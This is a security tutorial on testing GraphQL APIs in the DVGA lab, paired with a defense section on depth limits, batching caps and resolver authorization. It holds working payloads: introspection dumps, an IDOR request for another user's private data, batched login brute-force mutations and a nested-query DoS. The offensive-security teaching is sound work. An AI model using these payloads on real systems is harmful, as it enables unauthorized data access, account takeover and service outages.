Introduction
GraphQL has become the default API layer for a huge number of modern applications, and with it comes a class of bugs that traditional REST-focused testers often miss. A single GraphQL endpoint exposes a typed, self-describing graph of data and operations, which is wonderful for developers and equally wonderful for attackers. In this article you will learn how to fingerprint a GraphQL backend with graphw00f, abuse introspection to map the entire schema, weaponize query and alias batching, hunt for IDOR (Insecure Direct Object Reference), and trigger DoS (Denial of Service) through deeply nested and resource-amplifying queries. We close with a Blue Team section weighted as heavily as the offense.
Legal & ethical disclaimer. Everything below is for education and for authorized testing only — systems you own or have explicit written permission to assess. Running these techniques against third-party systems without consent is illegal in most jurisdictions. Use a dedicated lab.
How GraphQL Works
Unlike REST, a GraphQL API usually exposes a single endpoint (commonly /graphql, /api/graphql, or /v1/graphql) that accepts POST requests with a JSON body containing a query. The schema defines three root operation types: Query (reads), Mutation (writes), and Subscription (streams). Because the schema is strongly typed and machine-readable, the server can answer a special meta-query — introspection — that returns its own structure.
The key security implication is that GraphQL pushes a lot of authorization logic to the resolver level. There is no per-URL access control to lean on; each field resolver must enforce its own authorization. When developers forget, you get IDOR. When the server happily resolves arbitrarily nested relationships, you get DoS. And because a single HTTP request can carry many operations, rate limiting based on request count is trivially bypassed via batching.
Prerequisites / Lab Setup
A safe, deliberately vulnerable target is Damn Vulnerable GraphQL Application (DVGA).
# Spin up DVGA locally
docker pull dolevf/dvga
docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga
# Install tooling
pipx install graphw00f # fingerprinting
pip install gql requests # scripting
# clik / clairvoyance for schema recovery when introspection is off
pip install clairvoyanceBashFor interactive exploration, point a GraphQL IDE such as Altair, GraphiQL, or InQL (Burp Suite extension) at http://localhost:5013/graphql.
Attack Walkthrough
1. Fingerprint the engine with graphw00f
Different GraphQL server implementations (Apollo, graphql-php, Hasura, graphene/Python, Ruby graphql-ruby, etc.) behave differently and have different default protections. graphw00f sends a set of malformed/edge-case queries and matches the error signatures.
# Detect the endpoint, then fingerprint the engine
graphw00f -d -f -t http://localhost:5013/graphql
# -d : detect GraphQL endpoints
# -f : fingerprint the backend engine
# -t : target URLBashKnowing the engine matters: Hasura, for example, ships permissive defaults; Apollo Server disables introspection in production by default since v3.
2. Abuse introspection to dump the schema
If introspection is enabled, you can pull the entire type system in one request.
curl -s -X POST http://localhost:5013/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { types { name fields { name } } queryType { name } mutationType { name } } }"}' | jq .BashThe canonical full introspection query (IntrospectionQuery) is what GraphiQL itself fires; tools like InQL or clairvoyance automate it. If introspection is disabled, you are not done — clairvoyance brute-forces field names against the error suggestions ("Did you mean …?") to reconstruct a partial schema:
clairvoyance http://localhost:5013/graphql \
-w /usr/share/wordlists/graphql.txt -o schema.jsonBash3. IDOR via object-reference arguments
GraphQL queries frequently accept an id argument. If the resolver does not check ownership, swapping IDs leaks other users' data — a textbook IDOR. See my deeper dive in Mastering IDOR and Access Control Flaws.
# Authenticated as user 1001, request user 1002's private object
curl -s -X POST http://localhost:5013/graphql \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <victim-session-token-of-attacker>' \
-d '{"query":"query($id: Int!){ user(id:$id){ id email phone privateNote } }","variables":{"id":1002}}'BashBecause GraphQL exposes the relationship graph, IDOR is often reachable indirectly: even if user(id:) is locked down, a post(id:) resolver may expose post { author { email } }, walking the graph to the same sensitive data.
4. Batching to bypass rate limits and brute-force
GraphQL supports two batching styles. Array batching sends multiple operations in one HTTP request; many rate limiters count requests, not operations, so a single POST can carry hundreds of login attempts.
# Array-batched brute force of an OTP / login mutation
curl -s -X POST http://localhost:5013/graphql \
-H 'Content-Type: application/json' \
-d '[
{"query":"mutation{ login(user:\"admin\",pass:\"0000\"){ token }}"},
{"query":"mutation{ login(user:\"admin\",pass:\"0001\"){ token }}"},
{"query":"mutation{ login(user:\"admin\",pass:\"0002\"){ token }}"}
]'BashAlias batching repeats the same field under different aliases inside one operation, which evades naive request counting and is the basis of the 2024 "BOLA via aliases" attacks:
mutation {
a: login(user:"admin", pass:"0000"){ token }
b: login(user:"admin", pass:"0001"){ token }
c: login(user:"admin", pass:"0002"){ token }
}GraphQL5. DoS via nested queries and amplification
If the schema has circular relationships (e.g. Post -> author -> posts -> author ...), a deeply nested query forces exponential resolver work. This is a classic resource-exhaustion DoS.
query Bomb {
posts {
author {
posts {
author {
posts { author { posts { id } } }
}
}
}
}
}GraphQLAlias-based amplification multiplies a single expensive field thousands of times in one request, and directive overloading (@include repeated) can blow up parsing. Combine with field duplication for maximum effect against engines lacking query-cost analysis.
Attack Flow

The diagram shows the path from endpoint discovery and engine fingerprinting, through schema recovery, into the three core abuse classes: IDOR, batching, and DoS.
Detection & Defense (Blue Team)
GraphQL defenses must be enforced server-side; client controls are meaningless against a crafted POST.
1. Disable introspection in production. Apollo Server disables it by default in production; verify it explicitly. For graphene/Python, strip the introspection fields with a validation rule. Note that disabling introspection only raises the bar — clairvoyance defeats it — so treat it as defense-in-depth, not a fix.
2. Enforce query cost / depth / complexity limits. This is the single most important DoS control. Use libraries such as graphql-depth-limit, graphql-cost-analysis, or Apollo's @apollo/server plugins, and reject queries above a threshold.
import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
schema,
validationRules: [depthLimit(7)],
});JavaScript3. Disable or cap batching. Set allowBatchedHttpRequests: false in Apollo, and enforce a per-request alias/operation limit to kill alias-batching brute force.
4. Authorize at the resolver/field level. Every resolver that returns an object by id must check ctx.user ownership. Use a centralized authorization layer (e.g. graphql-shield) rather than ad-hoc checks, which directly closes the IDOR class. My write-up on Building Authorization That Survives Pentests covers patterns here.
5. Rate limit by operation cost, not request count, so array/alias batching cannot amplify abuse. Tie limits to authenticated identity.
6. Detection. Log and alert on: introspection queries (__schema, __type) from non-allowlisted clients; requests with abnormally high alias counts or query depth; and bursts of identical mutations (login/OTP). A WAF rule matching __schema in request bodies catches casual recon. Map this to MITRE ATT&CK — recon aligns with T1595 (Active Scanning) and the DoS techniques with T1499 (Endpoint Denial of Service). For broader API hardening, see API Security Testing Methodology.
7. Standardize errors. Disable verbose stack traces and "Did you mean" suggestions in production (NODE_ENV=production for Apollo), starving schema-recovery tools.
Conclusion
GraphQL's expressiveness is its attack surface. The repeatable methodology — fingerprint with graphw00f, recover the schema via introspection or clairvoyance, then probe for IDOR, batching abuse, and DoS — finds high-impact bugs quickly because so much authorization and cost control lives in resolver code that is easy to get wrong. Defenders win by enforcing depth/cost limits, disabling batching and introspection where unneeded, and centralizing field-level authorization. Test your own GraphQL APIs with these techniques before someone else does.
References
- OWASP — GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
- graphw00f (GraphQL fingerprinting): https://github.com/dolevf/graphw00f
- DVGA — Damn Vulnerable GraphQL Application: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
- clairvoyance (schema recovery): https://github.com/nikitastupin/clairvoyance
- HackTricks — GraphQL: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql
- MITRE ATT&CK — T1499 Endpoint Denial of Service: https://attack.mitre.org/techniques/T1499/
- Apollo Server security best practices: https://www.apollographql.com/docs/apollo-server/security/



Comments